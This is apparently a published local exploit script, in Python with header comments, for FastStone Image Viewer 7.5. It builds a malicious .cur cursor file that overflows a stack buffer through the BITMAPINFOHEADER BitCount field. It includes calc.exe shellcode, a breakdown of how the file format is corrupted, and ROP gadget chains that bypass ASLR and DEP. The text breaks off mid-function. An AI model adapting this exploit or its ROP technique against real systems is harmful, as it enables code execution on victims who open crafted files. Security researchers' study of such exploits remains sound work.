# Exploit title: FastStone Image Viewer 7.5 - .cur BITMAPINFOHEADER 'BitCount' Stack Based Buffer Overflow (ASLR & DEP Bypass) # Exploit Author: Paolo Stagno # Date: 15/03/2020 # Vendor Homepage: https://www.faststone.org/ # Download: https://www.faststonesoft.net/DN/FSViewerSetup75.exe # https://github.com/VoidSec/Exploit-Development/tree/master/windows/x86/local/FastStone_Image_Viewer_v.7.5/ # Version: 7.5 # Tested on: Windows 10 Pro x64 v.1909 Build 18363.1256 # Category: local exploit # Platform: windows # Module info : #---------------------------------------------------------------------------------------------------------------------- #Base | Top | Size | Rebase | SafeSEH | ASLR | NXCompat | OS Dll | Version, Modulename & Path #---------------------------------------------------------------------------------------------------------------------- #0x00400000 | 0x00abf000 | 0x006bf000 | False | False | False | False | False | 7.5.0.0 [FSViewer.exe] (C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe) #0x6ad80000 | 0x6adfe000 | 0x0007e000 | False | False | False | False | False | -1.0- [fsplugin05.dll] (C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll) #0x6afb0000 | 0x6b011000 | 0x00061000 | True | True | False | False | False | -1.0- [fsplugin06.dll] (C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll) #---------------------------------------------------------------------------------------------------------------------- #!/usr/bin/python import struct, sys print("\n[>] FastStone Image Viewer v. <= 7.5 Exploit by VoidSec\n") filename="FSViewer_v.7.5_exploit.cur" ################################################################################### # Shellcode # MAX Shellcode size: 556 # ImageData - ROP NOP - Rop Chain - Stack Adjustment = 776 - 144 - 68 - 8 = 556 # Custom calc.exe shellcode # size: 112 ################################################################################### shellcode=( "\x31\xdb\x64\x8b\x7b\x30\x8b\x7f" "\x0c\x8b\x7f\x1c\x8b\x47\x08\x8b" "\x77\x20\x8b\x3f\x80\x7e\x0c\x33" "\x75\xf2\x89\xc7\x03\x78\x3c\x8b" "\x57\x78\x01\xc2\x8b\x7a\x20\x01" "\xc7\x89\xdd\x8b\x34\xaf\x01\xc6" "\x45\x81\x3e\x43\x72\x65\x61\x75" "\xf2\x81\x7e\x08\x6f\x63\x65\x73" "\x75\xe9\x8b\x7a\x24\x01\xc7\x66" "\x8b\x2c\x6f\x8b\x7a\x1c\x01\xc7" "\x8b\x7c\xaf\xfc\x01\xc7\x89\xd9" "\xb1\xff\x53\xe2\xfd\x68\x63\x61" "\x6c\x63\x89\xe2\x52\x52\x53\x53" "\x53\x53\x53\x53\x52\x53\xff\xd7" ) if (len(shellcode)>556): sys.exit("Shellcode's size must be <= 556 bytes") ################################################################################### # Cur File Format # --------------------------------------------------------------------------------- # | Reserved | Type | Image Count | # | 00 00 | 02 00 | 02 00 | <- CUR file will contains two images # Entries: # | Width | Height | ColorCount | Reserved | XHotSpot | YHotSpot | SizeInBytes | File Offset | # | 30 | 30 | 00 | 00 | 01 00 | 02 00 | 30 03 00 00 | 26 00 00 00 | <- we'll corrupt the first image with rop chain & shellcode # | 20 | 20 | 00 | 00 | 02 00 | 04 00 | E8 02 00 00 | 56 03 00 00 | <- while leaving the 2nd one "untouched" a part from the stack pivot (should leave the cursor preview intact) # 1st Image Info Header: # | Size | Width | Height | Planes | BitCount | Compression | ImageSize | XpixelsPerM | YpixelsPerM | Colors Used | ColorsImportant | # | 28 00 00 00 | 30 00 00 00 | 60 00 00 00 | 01 00 | 89 30 | 00 00 00 00 | 00 00 00 00 | 00 00 00 00 | 00 00 00 00 | 00 00 00 00 | 00 00 00 00 | # 1st ImageData(BLOB) # 2nd Image Info Header: # 2nd ImageData(BLOB) # --------------------------------------------------------------------------------- # BitCount will be used to read # number of bytes into a buffer triggering the buffer overflow # its value can be modified but we need to account for two operations happening into the software. # - SHL 1, 89 = 0x200 # - SHL 200, 2 = 0x800 (2048d) number of bytes to be read from the file # we'll have to pad the image data to match it's size in bytes defined in the header SizeInBytes # ImageData = SizeInBytes - ImageInfoHeader Size (330h-28h=308h 776d) ################################################################################### image_data_pad = 776 def create_rop_nop(): rop_gadgets = [ 0x6adc5ab6, # 0x6adc5ab6 (RVA : 0x00045ab6) : # DEC ECX # RETN ** [fsplugin05.dll] ** | {PAGE_EXECUTE_READ} ] return ''.join(struct.pack(' ebx #[---INFO:gadgets_to_set_edx:---] 0x004798db, # POP EDX ; RETN [FSViewer.exe] 0x00000040, # 0x00000040-> edx #[---INFO:gadgets_to_set_ecx:---] 0x004c7832, # POP ECX ; RETN [FSViewer.exe] 0x00991445, # &Writable location [FSViewer.exe] #[---INFO:gadgets_to_set_edi:---] 0x0040c3a8, # POP EDI ; RETN [FSViewer.exe] 0x0057660b, # RETN (ROP NOP) [FSViewer.exe] #[---INFO:gadgets_to_set_eax:---] 0x00404243, # POP EAX ; RETN [FSViewer.exe] 0x90909090, # nop #[---INFO:pushad:---] 0x6adc21bf, # PUSHAD # RETN [fsplugin05.dll] ] return ''.join(struct.pack('